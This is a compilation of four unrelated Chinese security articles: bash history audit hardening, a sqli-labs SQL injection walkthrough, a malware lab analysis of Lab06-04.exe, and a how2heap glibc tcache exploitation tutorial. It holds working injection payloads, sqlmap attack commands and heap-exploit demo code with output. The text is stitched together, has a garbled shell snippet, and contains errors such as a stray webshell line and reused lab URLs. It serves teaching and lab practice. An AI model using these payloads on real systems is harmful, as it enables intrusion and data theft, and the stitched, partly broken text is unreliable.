下面我们来介绍如何让history日志记录更细化，更便于我们审计分析。
**1、命令历史记录中加时间**
默认情况下如下图所示，没有命令执行时间，不利于审计分析。
通过设置export HISTTIMEFORMAT='%F %T '，让历史记录中带上命令执行时间。
注意”%T”和后面的”’”之间有空格，不然查看历史记录的时候，时间和命令之间没有分割。
要一劳永逸，这个配置可以写在/etc/profile中，当然如果要对指定用户做配置，这个配置可以写在/home/$USER/.bash_profile中。
本文将以/etc/profile为例进行演示。
要使配置立即生效请执行source /etc/profile，我们再查看history记录，可以看到记录中带上了命令执行时间。
如果想要实现更细化的记录，比如登陆过系统的用户、IP地址、操作命令以及操作时间一一对应，可以通过在/etc/profile里面加入以下代码实现
export HISTTIMEFORMAT="%F %T 'who -u am i 2>/dev/null| awk '{print $NF}'|sed
-e 's/[()]//g ''whoami' "，注意空格都是必须的。
修改/etc/profile并加载后，history记录如下，时间、IP、用户及执行的命令都一一对应。
通过以上配置，我们基本上可以满足日常的审计工作了，但了解系统的朋友应该很容易看出来，这种方法只是设置了环境变量，攻击者unset掉这个环境变量，或者直接删除命令历史，对于安全应急来说，这无疑是一个灾难。
针对这样的问题，我们应该如何应对，下面才是我们今天的重点，通过修改bash源码，让history记录通过syslog发送到远程logserver中，大大增加了攻击者对history记录完整性破坏的难度。
**2、修改bash源码，支持syslog记录**
首先下载bash源码，可以从gnu.org下载，这里不做详细说明了，系统需要安装gcc等编译环境。我们用bash4.4版本做演示。
修改源码：bashhist.c
修改源码config-top.h，取消/#define SYSLOG_HISTORY/这行的注释
编译安装，编译过程不做详细说明，本文中使用的编译参数为： ./configure –prefix=/usr/local/bash，安装成功后对应目录如下：
此时可以修改/etc/passwd中用户shell环境，也可以用编译好的文件直接替换原有的bash二进制文件，但最好对原文件做好备份。
替换时要注意两点:
**1、一定要给可执行权限，默认是有的，不过有时候下载到windows系统后，再上传就没有可执行权限了，这里一定要确定，不然你会后悔的；**
**2、替换时原bash被占用，可以修改原用户的bash环境后再进行替换。**
查看效果，我们发现history记录已经写到了/var/log/message中。
如果要写到远程logserver，需要配置syslog服务，具体配置这里不做详细讲解，大家自己研究，发送到远端logserver效果如下图所示。
通过以上手段，可以有效保证history记录的完整性，避免攻击者登录系统后，通过取消环境变量、删除history记录等方式抹掉操作行为，为安全审计、应急响应等提供了完整的原始数据。
**本文为悬镜安全实验室原创文章，如需转载请标注：<http://lab.xmirror.cn/2017/05/26/sdlwdzj/>**
**悬镜安全实验室介绍**
悬镜安全实验室作为安普诺核心的网络攻防研究团队，主要负责前言安全技术研究和为企业客户提供专业的安全保障及安全咨询等服务，主要包括：基于深度学习的WEB威胁检测引擎研究、恶意样本分析、APT模拟攻击测试、高级渗透测试、主机安全巡检、安全事件应急响应、服务器防黑加固及安卓App风险评估等。 | 社区文章 |
最近几天突然想把sql注入复习一下，于是找到了sqli-lab，附上解题思路过程，新手，大佬们轻喷哈，有错误的地方望批评指正
Less1
比较简单，这是一道GET基于报错的SQL注入，是单引号闭合类型，采用?id=1'
--+就能闭合，然后就可以使用语句查询，或者使用sqlmap，执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-1/?id=1>" --dbs --batch就能完成
Less2
这是一道GET基于报错的SQL注入，是数字类型，直接在?id=1后面加上查询语句即可，或者使用sqlmap，执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-2/?id=1>" --dbs --batch
Less3
这是一道GET基于报错的SQL注入,是括号加单引号类型，采用?id=1')
--+就能闭合，然后就可以使用语句查询，或者使用sqlmap，执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-3/?id=1>" --dbs --batch就能完成
Less4
这是一道GET基于报错的SQL注入，开始像往常一样用?id=1'不报错，然后改为用\，报错暴露出是双引号闭合，采用?id=1"
--+就能闭合，然后就可以使用语句查询，或者使用sqlmap，执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-4/?id=1>" --dbs --batch就能完成
Less5
这是一道双注入报错查询，?id=1'还是会报错，发现是单引号闭合，闭合后一直显示you are
in.......可以考虑是基于时间盲注和布尔盲注，这两种最好用sqlmap跑，手工太麻烦，这里采用双注入报错查询，原理是count函数遇到group
by会报错，采用语句:?id=1′ and (select 1 from (select count( _),concat(((select
group_concat(schema_name) from information_schema.schemata)),floor (rand(0)_
2))x from information_schema.tables group by x)a) –+得到
菜刀连接成功
利用sqlmap注入:执行命令python sqlmap.py -u "<http://127.0.0.1/sqli/Less-7/?id=1>"
--dbs --batch就能完成
Less6
和5一样，只是改成了双引号闭合，利用sqlmap执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-7/?id=1>" --dbs --batch就能完成
Less7
和6一样利用sqlmap执行命令python sqlmap.py -u "<http://127.0.0.1/sqli/Less-7/?id=1>"
--dbs --batch就能完成
Less8
加上'和\不显示报错信息，可以考虑是布尔盲注，手工太费时间，要用ascii一个一个的去猜一般采用各个数据库和表名称的每个字母，所以采用sqlmap，执行命令python
sqlmap.py -u "<http://127.0.0.1/sqli/Less-8/?id=1>" --dbs --technique B
--batch
Less9
无论怎么加都不报错，可以考虑是基于时间的盲注，可以用sleep试一下能够探测出是单引号闭合，这种采用sqlmap比较方便快速，执行命令python
sqlmap.py -u "<http://127.0.0.1/sqli/Less-9/?id=1>" --dbs --technique T
--batch
Less10
和Less一样是基于时间的盲注，只不过是双引号闭合，同样使用sqlmap,执行命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-10/?id=1>" --dbs --technique T --batch
Less11
输入admin 123456，没进去，密码改为123456'，报错出是单引号闭合，构造万能密码'or '1'='1，成功进入
或者用sqlmap，将bp抓包内容以txt格式保存在sqlmap根目录，执行命令python sqlmap.py -r target.txt
--technique E --dbms mysql --batch
Less12
输入admin 123456，没进去，密码改为123456'提示密码错误，密码再试一次123456\，报错出双引号和括号，构造万能密码") or 1=1 #
成功进入
或者直接用sqlmap执行命令python sqlmap.py -r target.txt --technique E --dbms mysql
--batch
Less13
和12.13类似判断出报错为单引号括号，构造万能密码') or 1=1 # 成功进入
或者直接用sqlmap执行命令python sqlmap.py -r target.txt --technique E --dbms mysql
--batch
Less14
同样的操作密码后面加\暴露出双引号，构造万能密码"or 1=1 #成功进入
或者直接用sqlmap执行命令python sqlmap.py -r target.txt --technique E --dbms mysql
--batch
Less15
怎么操作都没有报错，考虑是布尔和时间盲注，直接用sqlmap执行命令python sqlmap.py -r target.txt --technique
BT --dbms mysql --batch然而这种方法没跑出来qwq.....尝试使用另一种命令python sqlmap.py -u
"<http://127.0.0.1/sqli/Less-15>" --data
"uname=admin&passwd=123456&submit=Submit"
--dbs这样就出来了，data后面的内容是bp抓包最后一行提交的账号密码
Less16
和Less一样的反应，用sqlmap执行一样的命令(第二个命令)即可
Less17
会报出sql语法错误，但是无论怎么输入都是一个界面,看见提示里面有个update就想起用updatexml，用bp抓包，发现只有在passwd后面加才会有报错，闭合是单引号，于是闭合后用update(1,concat(0x7e,查询语句,0x7e),1)
发现有报错qwq，前面加上and 试试
成功，然后就可以各种语句来查询
既然只有passwd有注入，能出现报错，使用sqlmap时用-p passwd和E，执行命令python sqlmap.py -r target.txt
--technique E --dbs --batch
Less18
直接bp抓包，对账号密码各种探测都不行，考虑一下是否为http头注入,当在User-Agent后面加上\时就会报错，是单引号闭合情况
采用or这种闭合情况，成功注入
然后便可以使用语句进行查询
针对这种http头注入使用sqlmap方法，bp抓包，保存，在User-Agent后面加上 _,执行命令python sqlmap.py -r
target.txt --technique E --dbs --batch
Less19
和18一样判断是http头注入，注入点在Referer，同样的方法使用updatexml
使用sqlmap在Referer后面加上_就行，执行命令python sqlmap.py -r target.txt --technique E --dbs
--batch
Less20
采用上面几道题方法检测都不行，猜测是否是cookie注入，bp抓包
点击Follow redirection
在Proxy中放过直到找到cookie：uname=admin;这个内容，发送到repeater
对cookie进行注入探测发现是单引号闭合，同样用updatexml
然后就可以各种语句查询了
利用sqlmap进行Cookie注入：和之前一样bp抓包，内容以文本格式保存到sqlmap根目录，cookie一栏最后加上*，执行命令python
sqlmap.py -r target.txt --technique E --dbs --level 3 --batch
Less21
和20一样向着cookie注入走，到达那个页面发现admin变成了base64编码的形式
那么我们用admin\也要转化为base64形式
暴露出单引号和括号
发现用--+会被过滤，但是#没有被过滤，采用#作注释，之前updatexml里面有0x7e，也就是~符号，在编码前就写成~，因为0x7e不是~的base64编码
然后放上去
这是什么原因我也不清楚了，之前‘） #就可以闭合，用这个语句就好像#被转义了一样没法注释,求大佬解释一下哇qwq...........
这个时候我们用联合查询语句来做
就能完成注入
sqlmap使用方法和20一样
Less22
和21一样只不过变成了双引号，做法参照21
Less23
发现是单引号闭合
\--+和#都没起到注释的作用，被过滤了
既然后面有个'无法注视掉，那么我们就利用一下让它能闭合，构造语句?id=1' or '1'='1,然后就可以联合查询
完成注入
或者使用sqlmap执行命令python sqlmap.py -u "<http://127.0.0.1/sqli/Less-23/?id=1>"
--dbs(被过滤字符这种类型都可以这种命令)
Less24
看见有注册应该是一个二次注入，目的是修改管理员admin的密码，注册一个新账户，用户名为admin'#,密码123456，登陆进去修改密码
新密码改为123，然后admin密码也被改为了123
Less25
很明显的提示了过滤了or和and，绕过方法可以用&&代替and,||代替or,或者双写结合大小写绕过用Oorr代替or,AandnD代替and，这两种方法都行
利用sqlmap，执行命令python sqlmap.py -u “url” –hex –dbs搞定 | 社区文章 |
# 目标
通过分析代码结构来理解一个恶意样本的总体功能。
本篇主要通过分析样本了解for、while流程语句
# 分析流程
1.基础静态分析
2.基础动态分析
3.高级静态分析
# 实践过程
## 实例1
Lab06-04.exe
### 基础静态分析
导入函数
InternetOpenUrlA
InternetCloseHandle
InternetReadFile
InternetGetConnectedState
InternetOpenA
RegSetValueExA
RegOpenKeyExA
CreateDirectoryA
CopyFileA
DeleteFileA
GetFileType
WriteFile
字符串
http://www.practicalmalwareanalysis.com/cc.htm
Software\Microsoft\Windows\CurrentVersion\Run
C:\Temp\cc.exe
C:\Temp
Error 1.1: No Internet
Success: Internet Connection
Error 2.3: Fail to get command
Error 2.2: Fail to ReadFile
Error 2.1: Fail to OpenUrl
Internet Explorer 7.50/pma%d
Error 3.2: Not a valid command provided
Error 3.1: Could not set Registry value
Malware
Success: Parsed command is %c
这里和上一篇文章大同小异，主要在Internet Explorer 7.50/pma后面多了一个占位符
根据api和字符串可以判断：
1.存在联网访问<http://www.practicalmalwareanalysis.com/cc.htm>
网址操作并且通过字符串中的错信息可以判断可能存在解析网页来获取命令来执行
2.写注册表来是实现自启动
3.产生衍生文件C:\Temp\cc.exe
### 基础动态分析
和之前分析一样，根据不同网络状态返回打印内容，接着通过高级静态分析来看程序后续操作
### 高级静态分析
跟进main方法分析，大部分和Lab06-03.exe相同，下面主要分析不同之处
#### for循环流程
_for循环主要包括有：初始化、判断条件、条件成立后执行的语句块、语句块执行完毕后的递增或递减_
_所以在汇编指令中存在3个跳转：_
1.初始化完毕后跳转到判断条件
2.判断条件不成立引起的跳出for循环
3.条件成立后执行完语句块后跳到递增或递减的语句块处
可以大致将for语句分为3个语句块， **初始化语句块、循环体（条件成立）、递增或递减语句块**
这里用IDA视图来比较直观的观察for循环流程。
可以从里面的语句看到这里如果条件成立会循环1440次，并且每次还要睡眠1分钟，即这个程序在这里需要运行24小时
另外一个不同的地方就是这里会将循环次数传进这个函数，并且附加到这个代理字符串后面来访问网页文件，方便远程服务器知道大概的程序运行时间。别的功能都和上一个样本基本一致，这里不再赘述
## while循环补充
_while循环主要有：条件判断，条件成立后的循环体_
_所以while循环的汇编代码中只有两个跳转：_
1.条件判断失败后跳出循环体
2.条件成立并执行完循环体后直接跳转到条件判断处继续循环
从图中可以看出while流程就是一个头部为判断条件尾部为直接跳转指令的语句块，因为只有两个跳转所以程序执行速度比使用for循环快
## do-while流程补充
源代码:
#include <stdio.h>
void main()
{
int i = 0;
scanf("%d", &i);
do
{
printf("true");
i--;
}
while(i>0);
}
这个do-while流程和while的区别只是将头部的条件判断放到了尾部，所以头部的条件跳转和尾部的直接跳转融合成了一个条件跳转。
只有一个跳转的do-while流程比while流程更快 | 社区文章 |
# how2heap之完结篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
>
>
> 终于到了glibc2.26，本节包括tcache_dup,tcache_poisoning,tcache_house_of_spirit,house_of_spirit(乱入),house_of_botcake
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## 参考网站
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/
https://hackmd.io/@DIuvbu1vRU2C5FwWIMzZ_w/HkyVl98b8
## tcache_dup
### 序
glibc版本大于2.26之后，引入了tcache这一新机制，也完美展示了如何通过牺牲安全性来提升速度,当然可能也因为太不安全了,在2.29中就新增了保护机制,比如本文中的tcache
double free就在2.29中被命运扼住了咽喉,国内比赛2.29的题目比较少,但是国际上很多比赛早已引入2.29的题目
在分析漏洞利用demo时，我们先来看看这个tcache机制，这里也引入一篇之前总结的[文章](https://nightrainy.github.io/2019/07/11/tcache%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0/)
，还有ctfwiki的关于tcache的[总结](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/)
有不想跳转的同学，我在这里也做一个解释
要注意的是新引入的tcache的优先级是高于fastbin的
PS：calloc是不会从tcache中拿chunk的
**关于tcache**
1. tcache最多由64个bins链接而成，而每一个bins中最多放7个chunk
2. 64位机中最小size是24字节,每16字节递增一次,而32位机上为12字节,每8字节递增一次
3. 这也就意味着我们最大的chunk必须小于0x410,也就是我们申请的size要小于0x408(64位机上)
**新的结构体**
在更新版本的时候，引入了两个新的结构体:tcahce_entry和tcache_perthread_struct,两个结构体的定义如下:
+/* We overlay this structure on the user-data portion of a chunk when
+ the chunk is stored in the per-thread cache. */
+typedef struct tcache_entry
+{
+ struct tcache_entry *next;
+} tcache_entry;
+
+/* There is one of these for each thread, which contains the
+ per-thread cache (hence "tcache_perthread_struct"). Keeping
+ overall size low is mildly important. Note that COUNTS and ENTRIES
+ are redundant (we could have just counted the linked list each
+ time), this is for performance reasons. */
+typedef struct tcache_perthread_struct
+{
+ char counts[TCACHE_MAX_BINS];
+ tcache_entry *entries[TCACHE_MAX_BINS];
+} tcache_perthread_struct;
+
+static __thread char tcache_shutting_down = 0;
+static __thread tcache_perthread_struct *tcache = NULL;
从定义中可以看到，我们的tcache_entry为单链表结构
而tcache_perthread_struct为tcahch机制的主体，一个链表中内存块的最大数量为TCACHE_MAX_BINS即64
**新的函数**
于此同时，也新加了两个函数,tcache_get 和tcache_put
+/* Caller must ensure that we know tc_idx is valid and there's room
+ for more chunks. */
+static void
+tcache_put (mchunkptr chunk, size_t tc_idx)
+{
+ tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
+ assert (tc_idx < TCACHE_MAX_BINS);
+ e->next = tcache->entries[tc_idx];
+ tcache->entries[tc_idx] = e;
+ ++(tcache->counts[tc_idx]);
+}
+
+/* Caller must ensure that we know tc_idx is valid and there's
+ available chunks to remove. */
+static void *
+tcache_get (size_t tc_idx)
+{
+ tcache_entry *e = tcache->entries[tc_idx];
+ assert (tc_idx < TCACHE_MAX_BINS);
+ assert (tcache->entries[tc_idx] > 0);
+ tcache->entries[tc_idx] = e->next;
+ --(tcache->counts[tc_idx]);
+ return (void *) e;
+}
+
从这两个函数中也可以看到开发者希望调用的人确保参数合法，这就2333
我们可以看到在tcache_get中，我们唯一需要保证的就是tcache->entries[tc_idx] = e->next，这也就意味着安全性的急剧丧失
下面我们就直接看一下源代码
### 源代码
因为十分简单，所以我们简单一些
#include <stdio.h>
#include <stdlib.h>
int main()
{
//本demo是一个简单的利用tcache的double-free attack
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.n");
fprintf(stderr, "Allocating buffer.n");
int *a = malloc(8);
fprintf(stderr, "malloc(8): %pn", a);
fprintf(stderr, "Freeing twice...n");
free(a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p ].n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].n", malloc(8), malloc(8));
return 0;
}
### 运行结果
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x56028230f260
Freeing twice...
Now the free list has [ 0x56028230f260, 0x56028230f260 ].
Next allocated buffers will be same: [ 0x56028230f260, 0x56028230f260 ].
### 代码调试
这里就直接显示free后的状态吧
pwndbg> bins
tcachebins
0x20 [ 2]: 0x555555756260 ◂— 0x555555756260 /* '`buUUU' */
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
因为没有检查，因此可以看到我们连续free两次chunk就构造了一个循环
### 总结
我们知道在Fastbin attack的时候我们是不能依次free两次同一块chunk的，但是tcache可以
这是为什么呢？原因也很简单，从tcache_put函数可以看出，它几乎没有设置任何检查，也就意味着我们无需做任何事就可以对同一个chunk进行多次的free，相比fastbin_dup来说，tcache_dup的利用更加的简单了
然后我们再malloc两次就可以得到同一块内存的chunk
对本程序而言，程序先malloc了一个chunk a(size=8)
然后连续Freee两次chunk a,此时在free list中就会链入两次chunk a,
这个时候我们再申请两次chunk就可以将两次的chunk a全部拿出来了
## tcache_poisoning
### 序
对于tcache来说，我们不需要像fastbin那样伪造一个size符合要求的地址来任意malloc，我们只需要直接覆盖fd指针就可以了
### 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
//此demo的效果就是返回一个指向任意地址的指针，与fastbin corruption攻击极其相似（本例返回的地址是一个栈地址）
fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc inton"
"returning a pointer to an arbitrary location (in this case, the stack).n"
"The attack is very similar to fastbin corruption attack.nn");
size_t stack_var;
//我们想要返回的地址是stack_var
fprintf(stderr, "The address we want malloc() to return is %p.n", (char *)&stack_var);
fprintf(stderr, "Allocating 1 buffer.n");
intptr_t *a = malloc(128);
fprintf(stderr, "malloc(128): %pn", a);
fprintf(stderr, "Freeing the buffer...n");
free(a);
fprintf(stderr, "Now the tcache list has [ %p ].n", a);
//我们通过覆写第一个chunk的fd指针，使其指向我们的栈地址
fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %pn"
"to point to the location to control (%p).n", sizeof(intptr_t), a, &stack_var);
a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %pn", malloc(128));
fprintf(stderr, "Now the tcache list has [ %p ].n", &stack_var);
intptr_t *b = malloc(128);
fprintf(stderr, "2nd malloc(128): %pn", b);
fprintf(stderr, "We got the controln");
return 0;
}
### 运行结果
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
The address we want malloc() to return is 0x7ffeeef34a50.
Allocating 1 buffer.
malloc(128): 0x5560af76b260
Freeing the buffer...
Now the tcache list has [ 0x5560af76b260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x5560af76b260
to point to the location to control (0x7ffeeef34a50).
1st malloc(128): 0x5560af76b260
Now the tcache list has [ 0x7ffeeef34a50 ].
2nd malloc(128): 0x7ffeeef34a50
We got the control
### 关键代码调试
这次将断点下在了
15 intptr_t *a = malloc(128);
► 16 fprintf(stderr, "malloc(128): %pn", a);
18 free(a);
19
► 20 fprintf(stderr, "Now the tcache list has [ %p ].n", a);
► 23 a[0] = (intptr_t)&stack_var;
28 intptr_t *b = malloc(128);
► 29 fprintf(stderr, "2nd malloc(128): %pn", b);
我们直接运行就好，首先我们申请了chunk a,此时的堆是这样的
pwndbg> heap
0x555555756000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555756250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555557562e0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134433,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
此时可能有同学会比较疑惑，我们明明只malloc了一个size为128的chunk为什么最前面有一个大小为0x251的chunk嘞,这个其实就是tcache_perthread_struct这个用来管理tcache的结构体
好了，解决了这个问题我们就继续下一步吧，让我们free掉a
pwndbg> bins
tcachebins
0x90 [ 1]: 0x555555756260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到此时我们的chunk a已经被放到了tcache中
此时我们所需要做的就极其简单了，因为tcache没有检查size是否符合规格这一设定，因此我们直接覆写chunk a 的fd指针，让他链在我们的free
list中
pwndbg> bins
tcachebins
0x90 [ 1]: 0x555555756260 —▸ 0x7fffffffe5c0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000091
0x555555756260: 0x00007fffffffe5c0 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000000000
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
此时我们只需要malloc一次就可以取出来了（开篇时有提及，tcache是先进后出的
pwndbg> p/x b-2
$1 = 0x7fffffffe5b0
$2 = {
mchunk_prev_size = 0x7fffffffe5e0,
mchunk_size = 0x555555554942,
fd = 0x5555555549a0,
bk = 0x555555756260,
fd_nextsize = 0x7fffffffe5c0,
bk_nextsize = 0xa9ab61495b094700
}
pwndbg> p/x stack_var
$3 = 0x5555555549a0
pwndbg>
### 总结
对于tcache poisoning来说，我们的利用极其简单
只需要free掉一个chunk放入tcache中，然后直接更改其fd指针，我们就可以任意地址malloc了
程序首先在栈上声明了一个变量，之后malloc了chunk a(size=128),此时free掉chunk a,a被链入到free list中
然后程序覆写了a的fd指针，将其指向了我们的栈指针
现在栈指针也被链入了我们的free list中
此时我们再malloc，因为不会检查size是否合法，就可以直接将我们的栈指针取出来了(先进后出)
## tcache_house_of_spirit
### 序
我们的tcache_house_of_spirit就是通过free一个Fake chunk来让malloc返回一个指向几乎任意地址的指针
### 源代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
//本文件是通过tcache来利用house of sprirt技术的demo
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.n");
//这个技术与原始的HOS利用方式相似，但我们不需要在fake chunk被free之后创建fake chunk
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.n");
//我们可以看到在malloc.c中的_int_free调用tcach_put时并没有检查下一个chunk的szie和prev_inuse位是合理的
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.n");
//搜索字符串"invalid next size"和"double free or corruption"
fprintf(stderr, "(Search for strings "invalid next size" and "double free or corruption")nn");
//好了，现在我们开始
fprintf(stderr, "Ok. Let's start with the example!.nn");
//先调用一次malloc来设置内存
fprintf(stderr, "Calling malloc() once so that it sets up its memory.n");
malloc(1);
//想象一下，现在我们覆写一个指针来指向我们的fake chunk区域
fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
//该区域包括一个fake chunk
fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %pn", &fake_chunks[1]);
//此chunk的size必须在是符合tcache大小的即chunk的size要小于0x410，这也就意味着我们malloc的size要小于0x408(在x64位上。而我们的PREV_INUSE(lsb)位在tcache chunks中是被忽略了的，但是另外两个标志位会引发一些问题，他们是IS_MAPPED和NON_MAIN_ARENA
fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
//要注意的是这个也必须是下一次malloc请求的size，会是一个区间，举一个例子，在x64上，0x30-0x38都将被防到0x40中，因此他们最后使用malloc的参数
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
//现在我们将用有着第一个fake chunk地址的fake chunk与来覆写我们的指针
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
//要注意的是我们chunk的内存地址将会以16字节对齐
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
//此时释放被覆写的指针
fprintf(stderr, "Freeing the overwritten pointer.n");
free(a);
//现在我们再malloc就会返回我们的fake chunk了
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %pn", malloc(0x30));
}
### 程序运行结果
This file demonstrates the house of spirit attack on tcache.
It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.
You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.
(Search for strings "invalid next size" and "double free or corruption")
Ok. Let's start with the example!.
Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7ffcb22034d8
This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffcb22034d8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffcb22034d8, which will be 0x7ffcb22034e0!
malloc(0x30): 0x7ffcb22034e0
### 关键代码调试
本例的断点如下：
15 malloc(1);
16
► 17 fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.n");
18 unsigned long long *a; //pointer that will be overwritten
19 unsigned long long fake_chunks[10]; //fake chunk region
20
► 21 fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %pn", &fake_chunks[1]);
► 25 fake_chunks[1] = 0x40; // this is the size
31 a = &fake_chunks[2];
32
► 33 fprintf(stderr, "Freeing the overwritten pointer.n");
34 free(a);
35
► 36 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
37 fprintf(stderr, "malloc(0x30): %pn", malloc(0x30));
► 38 }
下面我们进入调试
首先是我们malloc(1)的结果
pwndbg> heap
0x555555757000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20d91
}
0x555555757270 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134545,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
如果不知道为什么size是33，可以复习一下glibc源码实现，这里即使malloc(0)也是可以得到同样效果的
然后我们让程序继续跑起来
现在我们有了两个野指针，分别在
pwndbg> p/x &a
$1 = 0x7fffffffe568
pwndbg> p/x &fake_chunks
$2 = 0x7fffffffe570
pwndbg> p/x fake_chunks
$3 = {0x9, 0x7ffff7dd7660, 0x7fffffffe5e8, 0xf0b5ff, 0x1, 0x555555554a6d, 0x7ffff7de59a0, 0x0, 0x555555554a20, 0x5555555546c0}
pwndbg> p/x a
$4 = 0x756e6547
现在我们给我们的fake chunk的size赋值为0x40，此时的fake_chunks
pwndbg> p/x fake_chunks
$10 = {0x9, 0x40, 0x7fffffffe5e8, 0xf0b5ff, 0x1, 0x555555554a6d, 0x7ffff7de59a0, 0x0, 0x555555554a20, 0x5555555546c0}
然后把我们的fake_chunks[2]的值赋给我们的a，也就是将a指向我们的fd指针
pwndbg> x/2gx a
0x7fffffffe580: 0x00007fffffffe5e8 0x0000000000f0b5ff
pwndbg> x/10gx a-2
0x7fffffffe570: 0x0000000000000009 0x0000000000000040
0x7fffffffe580: 0x00007fffffffe5e8 0x0000000000f0b5ff
0x7fffffffe590: 0x0000000000000001 0x0000555555554a6d
0x7fffffffe5a0: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffe5b0: 0x0000555555554a20 0x00005555555546c0
现在free a,此时我们就把我们的a放入了free list中
pwndbg> bins
tcachebins
0x40 [ 1]: 0x7fffffffe580 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
此时就可以将我们的地址malloc回来了
### 总结
本例就是通过free一个fake chunk来让我们malloc任意地址
